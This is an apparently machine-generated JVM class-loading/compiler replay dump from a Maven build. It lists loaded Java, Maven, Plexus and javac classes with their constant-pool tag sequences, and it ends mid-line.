100 1 1 100 1 1\nstaticfield java/lang/System in Ljava/io/InputStream; java/io/BufferedInputStream\nstaticfield java/lang/System out Ljava/io/PrintStream; org/fusesource/jansi/AnsiPrintStream\nstaticfield java/lang/System err Ljava/io/PrintStream; org/fusesource/jansi/AnsiPrintStream\ninstanceKlass org/apache/maven/artifact/repository/metadata/RepositoryMetadataDeploymentException\ninstanceKlass org/apache/maven/artifact/repository/metadata/RepositoryMetadataInstallationException\ninstanceKlass java/lang/Exception\ninstanceKlass java/lang/Error\nciInstanceKlass java/lang/Throwable 1 1 364 10 9 9 9 9 9 10 9 10 10 100 100 10 8 10 8 10 10 10 100 8 10 10 10 10 8 9 10 100 10 10 100 10 10 11 10 10 10 8 10 10 7 8 8 10 10 8 8 9 10 100 10 11 8 8 10 8 10 8 100 10 9 10 10 7 9 10 10 100 8 10 10 11 100 10 11 11 11 8 8 10 11 10 9 8 10 9 10 9 11 100 10 7 10 7 100 1 1 1 100 1 100 1 1 1 1 5 0 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 100 1 100 100 1 1 1 1 1 1 1 1 1 1 1 1 12 12 12 12 12 12 12 12 12 12 1 1 1 12 1 100 12 12 1 1 12 7 12 12 1 100 12 12 1 12 12 1 7 12 12 12 12 12 1 12 12 1 1 1 12 12 1 1 12 100 12 1 12 1 1 12 1 12 1 1 12 12 12 7 12 12 12 7 1 1 12 100 12 12 1 12 12 12 12 1 1 100 12 1 100 12 100 12 12 12 12 1 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1\nstaticfield java/lang/Throwable UNASSIGNED_STACK [Ljava/lang/StackTraceElement; 0 [Ljava/lang/StackTraceElement;\nstaticfield java/lang/Throwable SUPPRESSED_SENTINEL Ljava/util/List; java/util/Collections$EmptyList\nstaticfield java/lang/Throwable EMPTY_THROWABLE_ARRAY [Ljava/lang/Throwable; 0 [Ljava/lang/Throwable;\nstaticfield java/lang/Throwable $assertionsDisabled Z 1\ninstanceKlass com/sun/tools/javac/file/PathFileObject$CannotCreateUriError\ninstanceKlass com/sun/tools/javac/tree/TreeInfo$1Result\ninstanceKlass com/sun/tools/javac/processing/ServiceProxy$ServiceConfigurationError\ninstanceKlass com/sun/tools/javac/util/Abort\ninstanceKlass com/sun/tools/javac/processing/AnnotationProcessingError\ninstanceKlass com/sun/tools/javac/util/FatalError\ninstanceKlass java/util/ServiceConfigurationError\ninstanceKlass com/google/common/util/concurrent/ExecutionError\ninstanceKlass java/lang/AssertionError\ninstanceKlass java/io/IOError\ninstanceKlass org/apache/maven/BuildAbort\ninstanceKlass java/lang/VirtualMachineError\ninstanceKlass java/lang/LinkageError\ninstanceKlass java/lang/ThreadDeath\nciInstanceKlass java/lang/Error 1 1 40 10 10 10 10 10 100 7 1 1 1 5 0 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 12 12 12 12 12 1 1\nciInstanceKlass java/lang/ThreadDeath 0 0 21 10 100 100 1 1 1 5 0 1 1 1 1 1 1 1 1 1 12 1 1\ninstanceKlass org/apache/maven/shared/transfer/repository/RepositoryManagerException\ninstanceKlass org/apache/maven/shared/transfer/artifact/install/ArtifactInstallerException\ninstanceKlass org/apache/maven/shared/transfer/project/NoFileAssignedException\ninstanceKlass org/sonatype/plexus/components/cipher/PlexusCipherException\ninstanceKlass org/sonatype/plexus/components/sec/dispatcher/SecDispatcherException\ninstanceKlass org/apache/maven/shared/transfer/dependencies/resolve/DependencyResolverException\ninstanceKlass org/apache/maven/shared/transfer/dependencies/collect/DependencyCollectorException\ninstanceKlass org/apache/maven/shared/transfer/artifact/resolve/ArtifactResolverException\ninstanceKlass org/apache/maven/shared/dependency/graph/DependencyGraphBuilderException\ninstanceKlass org/codehaus/plexus/archiver/jar/ManifestException\ninstanceKlass org/codehaus/plexus/archiver/manager/NoSuchArchiverException\ninstanceKlass org/apache/maven/shared/transfer/artifact/deploy/ArtifactDeployerException\ninstanceKlass javax/management/JMException\ninstanceKlass org/apache/maven/shared/artifact/filter/collection/ArtifactFilterException\ninstanceKlass org/codehaus/plexus/interpolation/InterpolationException\ninstanceKlass org/apache/maven/shared/io/download/DownloadFailedException\ninstanceKlass org/sonatype/plexus/components/cipher/PlexusCipherException\ninstanceKlass org/sonatype/plexus/components/sec/dispatcher/SecDispatcherException\ninstanceKlass org/codehaus/plexus/archiver/jar/ManifestException\ninstanceKlass org/codehaus/plexus/archiver/manager/NoSuchArchiverException\ninstanceKlass org/sonatype/plexus/components/cipher/PlexusCipherException\ninstanceKlass org/sonatype/plexus/components/sec/dispatcher/SecDispatcherException\ninstanceKlass org/apache/maven/surefire/testset/TestSetFailedException\ninstanceKlass org/apache/maven/surefire/booter/SurefireBooterForkException\ninstanceKlass org/apache/maven/surefire/booter/SurefireExecutionException\ninstanceKlass org/codehaus/plexus/util/cli/CommandLineException\ninstanceKlass org/sonatype/plexus/components/sec/dispatcher/SecDispatcherException\ninstanceKlass org/sonatype/plexus/components/cipher/PlexusCipherException\ninstanceKlass org/codehaus/plexus/compiler/util/scan/InclusionScanException\ninstanceKlass org/codehaus/plexus/compiler/CompilerException\ninstanceKlass org/codehaus/plexus/compiler/manager/NoSuchCompilerException\ninstanceKlass org/codehaus/plexus/interpolation/InterpolationException\ninstanceKlass org/sonatype/plexus/components/cipher/PlexusCipherException\ninstanceKlass org/sonatype/plexus/components/sec/dispatcher/SecDispatcherException\ninstanceKlass org/apache/maven/shared/filtering/MavenFilteringException\ninstanceKlass org/sonatype/plexus/components/sec/dispatcher/SecDispatcherException\ninstanceKlass org/sonatype/plexus/components/cipher/PlexusCipherException\ninstanceKlass org/codehaus/plexus/util/cli/CommandLineException\ninstanceKlass org/codehaus/plexus/compiler/util/scan/InclusionScanException\ninstanceKlass org/codehaus/plexus/compiler/CompilerException\ninstanceKlass org/codehaus/plexus/compiler/manager/NoSuchCompilerException\ninstanceKlass org/codehaus/plexus/util/cli/CommandLineException\ninstanceKlass org/codehaus/plexus/interpolation/InterpolationException\ninstanceKlass org/codehaus/plexus/components/interactivity/PrompterException\ninstanceKlass org/codehaus/plexus/archiver/ArchiveFilterException\ninstanceKlass org/codehaus/plexus/archiver/manager/NoSuchArchiverException\ninstanceKlass org/codehaus/plexus/archiver/jar/ManifestException\ninstanceKlass org/sonatype/plexus/components/sec/dispatcher/SecDispatcherException\ninstanceKlass org/sonatype/plexus/components/cipher/PlexusCipherException\ninstanceKlass org/codehaus/plexus/util/cli/CommandLineException\ninstanceKlass org/codehaus/plexus/compiler/util/scan/InclusionScanException\ninstanceKlass org/codehaus/plexus/compiler/CompilerException\ninstanceKlass org/codehaus/plexus/compiler/manager/NoSuchCompilerException\ninstanceKlass org/codehaus/plexus/interpolation/InterpolationException\ninstanceKlass org/codehaus/plexus/components/interactivity/PrompterException\ninstanceKlass org/sonatype/plexus/components/cipher/PlexusCipherException\ninstanceKlass org/sonatype/plexus/components/sec/dispatcher/SecDispatcherException\ninstanceKlass org/apache/maven/doxia/siterenderer/RendererException\ninstanceKlass org/apache/maven/doxia/parser/manager/ParserNotFoundException\ninstanceKlass org/apache/maven/doxia/module/site/manager/SiteModuleNotFoundException\ninstanceKlass org/apache/maven/shared/invoker/CommandLineConfigurationException\ninstanceKlass org/apache/maven/doxia/macro/manager/MacroNotFoundException\ninstanceKlass org/apache/maven/doxia/macro/MacroExecutionException\ninstanceKlass org/apache/maven/doxia/parser/ParseException\ninstanceKlass org/codehaus/plexus/archiver/ArchiveFilterException\ninstanceKlass org/codehaus/plexus/archiver/jar/ManifestException\ninstanceKlass org/codehaus/plexus/archiver/manager/NoSuchArchiverException\ninstanceKlass org/codehaus/plexus/util/cli/CommandLineException\ninstanceKlass org/apache/maven/reporting/MavenReportException\ninstanceKlass org/apache/maven/shared/invoker/MavenInvocationException\ninstanceKlass org/codehaus/plexus/util/cli/CommandLineException\ninstanceKlass org/codehaus/plexus/interpolation/InterpolationException\ninstanceKlass org/codehaus/plexus/components/interactivity/PrompterException\ninstanceKlass org/codehaus/plexus/archiver/manager/NoSuchArchiverException\ninstanceKlass org/codehaus/plexus/archiver/ArchiveFilterException\ninstanceKlass org/codehaus/plexus/archiver/jar/ManifestException\ninstanceKlass org/codehaus/plexus/interpolation/InterpolationException\ninstanceKlass org/codehaus/plexus/archiver/jar/ManifestException\ninstanceKlass org/codehaus/plexus/archiver/manager/NoSuchArchiverException\ninstanceKlass org/codehaus/plexus/util/cli/CommandLineException\ninstanceKlass org/sonatype/plexus/components/cipher/PlexusCipherException\ninstanceKlass org/sonatype/plexus/components/sec/dispatcher/SecDispatcherException\ninstanceKlass org/apache/maven/surefire/booter/SurefireBooterForkException\ninstanceKlass org/apache/maven/surefire/booter/SurefireExecutionException\ninstanceKlass org/apache/maven/surefire/testset/TestSetFailedException\ninstanceKlass org/codehaus/plexus/util/cli/CommandLineException\ninstanceKlass org/codehaus/plexus/compiler/manager/NoSuchCompilerException\ninstanceKlass org/codehaus/plexus/compiler/CompilerException\ninstanceKlass org/codehaus/plexus/compiler/util/scan/InclusionScanException\ninstanceKlass org/apache/maven/shared/filtering/MavenFilteringException\ninstanceKlass org/codehaus/plexus/interpolation/reflection/MethodMap$AmbiguousException\ninstanceKlass org/codehaus/plexus/interpolation/InterpolationException\ninstanceKlass org/codehaus/plexus/archiver/manager/NoSuchArchiverException\ninstanceKlass org/sonatype/plexus/components/cipher/PlexusCipherException\ninstanceKlass org/sonatype/plexus/components/sec/dispatcher/SecDispatcherException\ninstanceKlass org/codehaus/plexus/archiver/jar/ManifestException\ninstanceKlass org/apache/maven/shared/filtering/MavenFilteringException\ninstanceKlass org/codehaus/plexus/interpolation/InterpolationException\ninstanceKlass org/codehaus/plexus/archiver/jar/ManifestException\ninstanceKlass org/codehaus/plexus/archiver/manager/NoSuchArchiverException\ninstanceKlass org/codehaus/plexus/util/cli/CommandLineException\ninstanceKlass org/apache/maven/surefire/api/testset/TestSetFailedException\ninstanceKlass org/apache/maven/surefire/booter/SurefireExecutionException\ninstanceKlass org/apache/maven/surefire/booter/SurefireBooterForkException\ninstanceKlass com/sun/tools/javac/parser/ReferenceParser$ParseException\ninstanceKlass com/sun/tools/javac/jvm/JNIWriter$TypeSignature$SignatureException\ninstanceKlass com/sun/tools/javac/jvm/ModuleNameReader$BadClassFile\ninstanceKlass com/sun/tools/javac/jvm/ClassWriter$StringOverflow\ninstanceKlass com/sun/tools/javac/jvm/ClassWriter$PoolOverflow\ninstanceKlass com/sun/tools/doclint/DocLint$BadArgs\ninstanceKlass com/sun/tools/javac/main/Option$InvalidValueException\ninstanceKlass org/codehaus/plexus/util/cli/CommandLineException\ninstanceKlass org/codehaus/plexus/compiler/util/scan/InclusionScanException\ninstanceKlass org/codehaus/plexus/compiler/CompilerException\ninstanceKlass org/codehaus/plexus/compiler/manager/NoSuchCompilerException\ninstanceKlass org/apache/maven/shared/filtering/MavenFilteringException\ninstanceKlass org/apache/maven/artifact/DependencyResolutionRequiredException\ninstanceKlass org/codehaus/plexus/util/introspection/MethodMap$AmbiguousException\ninstanceKlass java/net/URISyntaxException\ninstanceKlass org/sonatype/plexus/components/cipher/PlexusCipherException\ninstanceKlass org/sonatype/plexus/components/cipher/shaded/PlexusCipherException\ninstanceKlass org/sonatype/plexus/components/sec/dispatcher/shaded/SecDispatcherException\ninstanceKlass org/sonatype/plexus/components/cipher/PlexusCipherException\ninstanceKlass org/sonatype/plexus/components/sec/dispatcher/shaded/SecDispatcherException\ninstanceKlass org/sonatype/plexus/components/cipher/shaded/PlexusCipherException\ninstanceKlass org/xml/sax/SAXException\ninstanceKlass javax/xml/parsers/ParserConfigurationException\ninstanceKlass org/codehaus/plexus/interpolation/reflection/MethodMap$AmbiguousException\ninstanceKlass org/apache/maven/model/resolution/UnresolvableModelException\ninstanceKlass org/apache/maven/model/resolution/InvalidRepositoryException\ninstanceKlass org/apache/maven/cli/internal/ExtensionResolutionException\ninstanceKlass org/apache/maven/toolchain/building/ToolchainsBuildingException\ninstanceKlass org/apache/maven/execution/MavenExecutionRequestPopulationException\ninstanceKlass org/apache/maven/repository/metadata/MetadataResolutionException\ninstanceKlass org/apache/maven/project/interpolation/ModelInterpolationException\ninstanceKlass org/codehaus/plexus/component/configurator/expression/ExpressionEvaluationException\ninstanceKlass org/codehaus/plexus/component/composition/CycleDetectedInComponentGraphException\ninstanceKlass org/codehaus/plexus/configuration/PlexusConfigurationException\ninstanceKlass org/apache/maven/lifecycle/internal/builder/BuilderNotFoundException\ninstanceKlass org/apache/maven/lifecycle/NoGoalSpecifiedException\ninstanceKlass org/apache/maven/lifecycle/MissingProjectException\ninstanceKlass org/apache/maven/artifact/repository/metadata/RepositoryMetadataReadException\ninstanceKlass org/apache/maven/artifact/repository/metadata/RepositoryMetadataStoreException\ninstanceKlass org/apache/http/HttpException\ninstanceKlass org/codehaus/plexus/component/repository/exception/ComponentLifecycleException\ninstanceKlass java/security/GeneralSecurityException\ninstanceKlass org/codehaus/plexus/personality/plexus/lifecycle/phase/InitializationException\ninstanceKlass org/apache/maven/settings/building/SettingsBuildingException\ninstanceKlass org/apache/maven/repository/ArtifactDoesNotExistException\ninstanceKlass org/apache/maven/repository/ArtifactTransferFailedException\ninstanceKlass org/apache/maven/BuildFailureException\ninstanceKlass org/codehaus/plexus/util/dag/CycleDetectedException\ninstanceKlass org/apache/maven/MavenExecutionException\ninstanceKlass org/apache/maven/project/DuplicateProjectException\ninstanceKlass org/apache/maven/repository/legacy/resolver/conflict/ConflictResolverNotFoundException\ninstanceKlass org/apache/maven/configuration/BeanConfigurationException\ninstanceKlass org/codehaus/plexus/component/configurator/ComponentConfigurationException\ninstanceKlass org/apache/maven/wagon/WagonException\ninstanceKlass org/apache/maven/plugin/version/PluginVersionNotFoundException\ninstanceKlass org/apache/maven/plugin/InvalidPluginException\ninstanceKlass org/apache/maven/model/building/ModelBuildingException\ninstanceKlass org/apache/maven/repository/legacy/metadata/ArtifactMetadataRetrievalException\ninstanceKlass org/apache/maven/artifact/repository/metadata/RepositoryMetadataResolutionException\ninstanceKlass org/apache/maven/artifact/versioning/InvalidVersionSpecificationException\ninstanceKlass org/apache/maven/toolchain/MisconfiguredToolchainException\ninstanceKlass org/apache/maven/project/ProjectBuildingException\ninstanceKlass org/apache/maven/project/DependencyResolutionException\ninstanceKlass org/eclipse/aether/RepositoryException\ninstanceKlass org/apache/maven/lifecycle/LifecycleExecutionException\ninstanceKlass org/apache/maven/lifecycle/LifecycleNotFoundException\ninstanceKlass org/apache/maven/lifecycle/LifecyclePhaseNotFoundException\ninstanceKlass org/apache/maven/plugin/version/PluginVersionResolutionException\ninstanceKlass org/apache/maven/plugin/prefix/NoPluginFoundForPrefixException\ninstanceKlass org/apache/maven/artifact/InvalidRepositoryException\ninstanceKlass org/apache/maven/repository/metadata/MetadataGraphTransformationException\ninstanceKlass org/apache/maven/repository/metadata/GraphConflictResolutionException\ninstanceKlass org/apache/maven/plugin/PluginConfigurationException\ninstanceKlass org/apache/maven/plugin/InvalidPluginDescriptorException\ninstanceKlass org/apache/maven/plugin/MojoNotFoundException\ninstanceKlass org/apache/maven/plugin/PluginDescriptorParsingException\ninstanceKlass org/apache/maven/plugin/PluginManagerException\ninstanceKlass org/apache/maven/plugin/PluginResolutionException\ninstanceKlass org/sonatype/plexus/components/sec/dispatcher/SecDispatcherException\ninstanceKlass org/sonatype/plexus/components/cipher/PlexusCipherException\ninstanceKlass org/apache/maven/artifact/deployer/ArtifactDeploymentException\ninstanceKlass org/apache/maven/artifact/resolver/AbstractArtifactResolutionException\ninstanceKlass org/apache/maven/artifact/installer/ArtifactInstallationException\ninstanceKlass org/apache/maven/plugin/AbstractMojoExecutionException\ninstanceKlass java/security/PrivilegedActionException\ninstanceKlass java/util/concurrent/TimeoutException\ninstanceKlass com/google/common/collect/RegularImmutableMap$BucketOverflowException\ninstanceKlass java/util/concurrent/ExecutionException\ninstanceKlass java/lang/InterruptedException\ninstanceKlass com/google/inject/internal/ErrorsException\ninstanceKlass com/google/inject/internal/InternalProvisionException\ninstanceKlass org/codehaus/plexus/context/ContextException\ninstanceKlass java/text/ParseException\ninstanceKlass org/codehaus/plexus/PlexusContainerException\ninstanceKlass org/codehaus/plexus/component/repository/exception/ComponentLookupException\ninstanceKlass org/codehaus/plexus/util/xml/pull/XmlPullParserException\ninstanceKlass java/lang/CloneNotSupportedException\ninstanceKlass sun/nio/fs/WindowsException\ninstanceKlass org/apache/commons/cli/ParseException\ninstanceKlass org/codehaus/plexus/interpolation/InterpolationException\ninstanceKlass org/apache/maven/cli/MavenCli$ExitException\ninstanceKlass org/codehaus/plexus/classworlds/launcher/ConfigurationException\ninstanceKlass java/io/IOException\ninstanceKlass org/codehaus/plexus/classworlds/ClassWorldException\ninstanceKlass java/lang/ReflectiveOperationException\ninstanceKlass java/lang/RuntimeException\nciInstanceKlass java/lang/Exception 1 1 40 10 10 10 10 10 100 7 1 1 1 5 0 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 12 12 12 12 12 1 1\ninstanceKlass org/codehaus/plexus/archiver/ArchiverException\ninstanceKlass org/codehaus/plexus/archiver/ArchiverException\ninstanceKlass org/apache/maven/surefire/util/SurefireReflectionException\ninstanceKlass org/codehaus/plexus/archiver/ArchiverException\ninstanceKlass com/thoughtworks/qdox/parser/ParseException\ninstanceKlass org/codehaus/plexus/archiver/ArchiverException\ninstanceKlass org/codehaus/plexus/archiver/ArchiverException\ninstanceKlass org/codehaus/plexus/archiver/ArchiverException\ninstanceKlass org/codehaus/plexus/archiver/ArchiverException\ninstanceKlass org/codehaus/plexus/archiver/ArchiverException\ninstanceKlass org/apache/maven/surefire/api/util/SurefireReflectionException\ninstanceKlass com/sun/tools/javac/jvm/Gen$CodeSizeOverflow\ninstanceKlass com/sun/tools/javac/code/Types$SignatureGenerator$InvalidSignatureException\ninstanceKlass com/sun/tools/javac/comp/Infer$GraphStrategy$NodeNotFoundException\ninstanceKlass com/sun/tools/javac/code/Types$AdaptFailure\ninstanceKlass com/sun/tools/javac/comp/Attr$BreakAttr\ninstanceKlass com/sun/tools/javac/comp/Resolve$InapplicableMethodException\ninstanceKlass com/sun/tools/javac/code/Types$FunctionDescriptorLookupError\ninstanceKlass com/sun/tools/javac/code/Symbol$CompletionFailure\ninstanceKlass java/nio/file/FileSystemAlreadyExistsException\ninstanceKlass java/util/MissingResourceException\ninstanceKlass java/nio/file/FileSystemNotFoundException\ninstanceKlass java/nio/file/ProviderNotFoundException\ninstanceKlass com/sun/tools/javac/util/ClientCodeException\ninstanceKlass com/sun/tools/javac/util/PropagatedException\ninstanceKlass org/apache/maven/project/DuplicateArtifactAttachmentException\ninstanceKlass java/time/DateTimeException\ninstanceKlass com/sun/jersey/api/client/ClientHandlerException\ninstanceKlass org/sonatype/nexus/client/core/exception/NexusClientException\ninstanceKlass com/sun/jersey/api/client/ClientHandlerException\ninstanceKlass org/sonatype/nexus/client/core/exception/NexusClientException\ninstanceKlass org/eclipse/aether/named/support/LockUpgradeNotSupportedException\ninstanceKlass java/util/ConcurrentModificationException\ninstanceKlass com/google/inject/internal/aop/GlueException\ninstanceKlass java/io/UncheckedIOException\ninstanceKlass org/apache/maven/artifact/InvalidArtifactRTException\ninstanceKlass com/google/inject/OutOfScopeException\ninstanceKlass java/lang/annotation/IncompleteAnnotationException\ninstanceKlass java/lang/reflect/UndeclaredThrowableException\ninstanceKlass com/google/common/util/concurrent/UncheckedExecutionException\ninstanceKlass com/google/common/cache/CacheLoader$InvalidCacheLoadException\ninstanceKlass java/util/NoSuchElementException\ninstanceKlass com/google/inject/CreationException\ninstanceKlass com/google/inject/ConfigurationException\ninstanceKlass com/google/inject/ProvisionException\ninstanceKlass java/lang/TypeNotPresentException\ninstanceKlass java/lang/IndexOutOfBoundsException\ninstanceKlass java/lang/UnsupportedOperationException\ninstanceKlass java/lang/SecurityException\ninstanceKlass java/lang/IllegalStateException\ninstanceKlass java/lang/IllegalArgumentException\ninstanceKlass java/lang/ArithmeticException\ninstanceKlass java/lang/NullPointerException\ninstanceKlass java/lang/IllegalMonitorStateException\ninstanceKlass java/lang/ArrayStoreException\ninstanceKlass java/lang/ClassCastException\nciInstanceKlass java/lang/RuntimeException 1 1 40 10 10 10 10 10 100 7 1 1 1 5 0 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 12 12 12 12 12 1 1\nciInstanceKlass java/lang/SecurityManager 0 0 572 10 9 100 10 100 8 10 10 10 10 100 10 100 10 9 10 10 10 100 8 10 9 9 8 9 100 10 8 10 10 10 100 10 10 100 100 8 10 8 8 8 8 8 8 10 8 8 8 8 8 10 10 8 100 8 10 8 8 8 8 8 10 8 100 8 8 10 8 8 10 100 8 10 10 100 10 10 10 10 10 10 11 18 11 18 11 18 18 11 18 11 9 9 9 9 100 10 10 10 18 18 10 18 10 18 18 8 10 9 11 8 100 10 10 10 9 10 10 8 100 10 9 8 8 100 10 10 10 9 11 10 11 10 100 100 10 10 10 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 12 12 1 100 12 1 1 12 12 100 12 1 1 12 100 12 12 12 1 1 12 12 1 12 1 1 12 12 12 1 12 1 1 1 12 1 1 1 1 1 1 12 1 1 1 1 1 12 12 1 1 1 1 1 1 1 1 100 12 1 1 1 1 1 1 12 1 1 12 1 12 12 12 100 12 12 100 12 100 12 1 15 16 15 16 12 100 12 16 15 16 12 12 15 16 15 16 12 16 15 16 12 12 12 12 12 12 1 100 12 12 12 15 16 12 15 16 100 12 15 12 12 15 16 15 16 1 12 12 100 12 1 1 12 12 12 12 12 12 1 1 12 1 1 1 12 100 12 12 12 12 12 1 1 12 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 10 1 10 1 1 1 1 1 1 10 1 1 1 1 1 10 11 1 1 1 10 1 1 1 1 1 1 10 1 10 1 1 1 11 1 1 10 10 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 12 100 12 12 12 100 12 12 12 12 12 1 1 100 1 1 1 1 1 1 1 1 100 1 1\nciInstanceKlass java/security/ProtectionDomain 1 1 331 10 9 7 10 9 9 9 10 7 9 9 7 9 9 10 100 10 10 10 10 9 9 10 7 10 100 10 9 8 100 8 10 10 10 10 8 11 8 10 8 8 10 10 10 10 8 10 8 8 10 9 10 9 10 100 100 10 10 7 10 100 10 10 11 11 100 11 10 10 11 11 10 10 10 11 10 8 8 10 7 10 10 7 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 7 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 100 100 100 1 1 1 1 1 100 12 12 1 12 12 12 12 12 1 12 12 1 12 12 100 12 100 12 12 12 12 100 12 12 1 1 12 100 12 1 1 1 12 12 12 1 1 12 1 1 12 12 12 12 1 12 1 1 100 12 12 12 12 12 1 1 100 12 1 1 12 12 12 12 1 12 12 12 12 12 12 100 12 12 12 1 1 7 12 1 7 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1\nstaticfield java/security/ProtectionDomain filePermCompatInPD Z 0\nciInstanceKlass java/security/AccessControlContext 1 1 367 9 9 10 8 10 10 9 9 9 10 7 100 10 11 11 11 11 7 11 10 10 9 10 11 10 7 100 8 10 10 7 10 9 9 9 9 9 9 9 10 9 10 10 8 10 10 10 100 10 10 10 10 8 10 8 10 8 8 10 8 10 8 10 10 10 8 8 100 10 10 100 10 8 10 10 10 8 10 10 10 7 10 10 10 10 10 10 10 10 7 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 100 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 12 12 100 12 1 100 12 12 12 12 12 7 12 1 12 12 12 12 12 1 12 12 7 12 100 12 12 12 1 1 1 12 12 1 7 12 12 12 12 12 12 12 12 7 12 12 12 12 1 12 12 100 12 1 12 100 12 1 12 1 100 12 1 1 12 1 12 1 12 12 12 1 1 1 12 12 1 12 1 12 12 1 12 12 12 1 12 12 12 12 12 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1\ninstanceKlass java/net/URLClassLoader\ninstanceKlass jdk/internal/loader/BuiltinClassLoader\nciInstanceKlass java/security/SecureClassLoader 1 1 127 10 7 10 9 10 10 9 10 10 10 10 10 10 7 10 7 10 7 10 11 7 100 8 10 10 7 7 1 1 7 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 12 1 12 12 7 12 12 12 12 12 12 12 12 12 1 1 12 1 12 7 12 1 1 1 12 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1\ninstanceKlass java/lang/InstantiationException\ninstanceKlass java/lang/IllegalAccessException\ninstanceKlass java/lang/reflect/InvocationTargetException\ninstanceKlass java/lang/NoSuchMethodException\ninstanceKlass java/lang/NoSuchFieldException\ninstanceKlass java/lang/ClassNotFoundException\nciInstanceKlass java/lang/ReflectiveOperationException 1 1 34 10 10 10 10 100 7 1 1 1 5 0 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 12 12 12 12 1 1\nciInstanceKlass java/lang/ClassNotFoundException 1 1 37 100 10 10 9 100 7 1 1 1 5 0 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 12 12 12 1 1 1\ninstanceKlass java/lang/ExceptionInInitializerError\ninstanceKlass java/lang/UnsatisfiedLinkError\ninstanceKlass java/lang/IncompatibleClassChangeError\ninstanceKlass java/lang/BootstrapMethodError\ninstanceKlass java/lang/NoClassDefFoundError\nciInstanceKlass java/lang/LinkageError 1 1 31 10 10 10 100 7 1 1 1 5 0 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 12 12 12 1 1\nciInstanceKlass java/lang/NoClassDefFoundError 1 1 26 10 10 100 7 1 1 1 5 0 1 1 1 1 1 1 1 1 1 1 1 1 12 12 1 1\nciInstanceKlass java/lang/ClassCastException 1 1 26 10 10 100 100 1 1 1 5 0 1 1 1 1 1 1 1 1 1 1 1 1 12 12 1 1\nciInstanceKlass java/lang/ArrayStoreException 1 1 26 10 10 100 100 1 1 1 5 0 1 1 1 1 1 1 1 1 1 1 1 1 12 12 1 1\ninstanceKlass java/lang/InternalError\ninstanceKlass java/lang/StackOverflowError\ninstanceKlass java/lang/OutOfMemoryError\nciInstanceKlass java/lang/VirtualMachineError 1 1 34 10 10 10 10 100 100 1 1 1 5 0 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 12 12 12 12 1 1\nciInstanceKlass java/lang/OutOfMemoryError 1 1 26 10 10 100 100 1 1 1 5 0 1 1 1 1 1 1 1 1 1 1 1 1 12 12 1 1\nciInstanceKlass java/lang/StackOverflowError 1 1 26 10 10 100 100 1 1 1 5 0 1 1 1 1 1 1 1 1 1 1 1 1 12 12 1 1\nciInstanceKlass java/lang/IllegalMonitorStateException 1 1 26 10 10 100 100 1 1 1 5 0 1 1 1 1 1 1 1 1 1 1 1 1 12 12 1 1\ninstanceKlass java/lang/ref/PhantomReference\ninstanceKlass java/lang/ref/FinalReference\ninstanceKlass java/lang/ref/WeakReference\ninstanceKlass java/lang/ref/SoftReference\nciInstanceKlass java/lang/ref/Reference 1 1 159 10 9 10 9 9 7 10 10 9 9 10 10 10 9 9 100 10 10 10 7 10 10 10 7 8 10 7 10 10 10 7 10 10 7 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 1 1 1 1 1 1 1 1 1 7 1 1 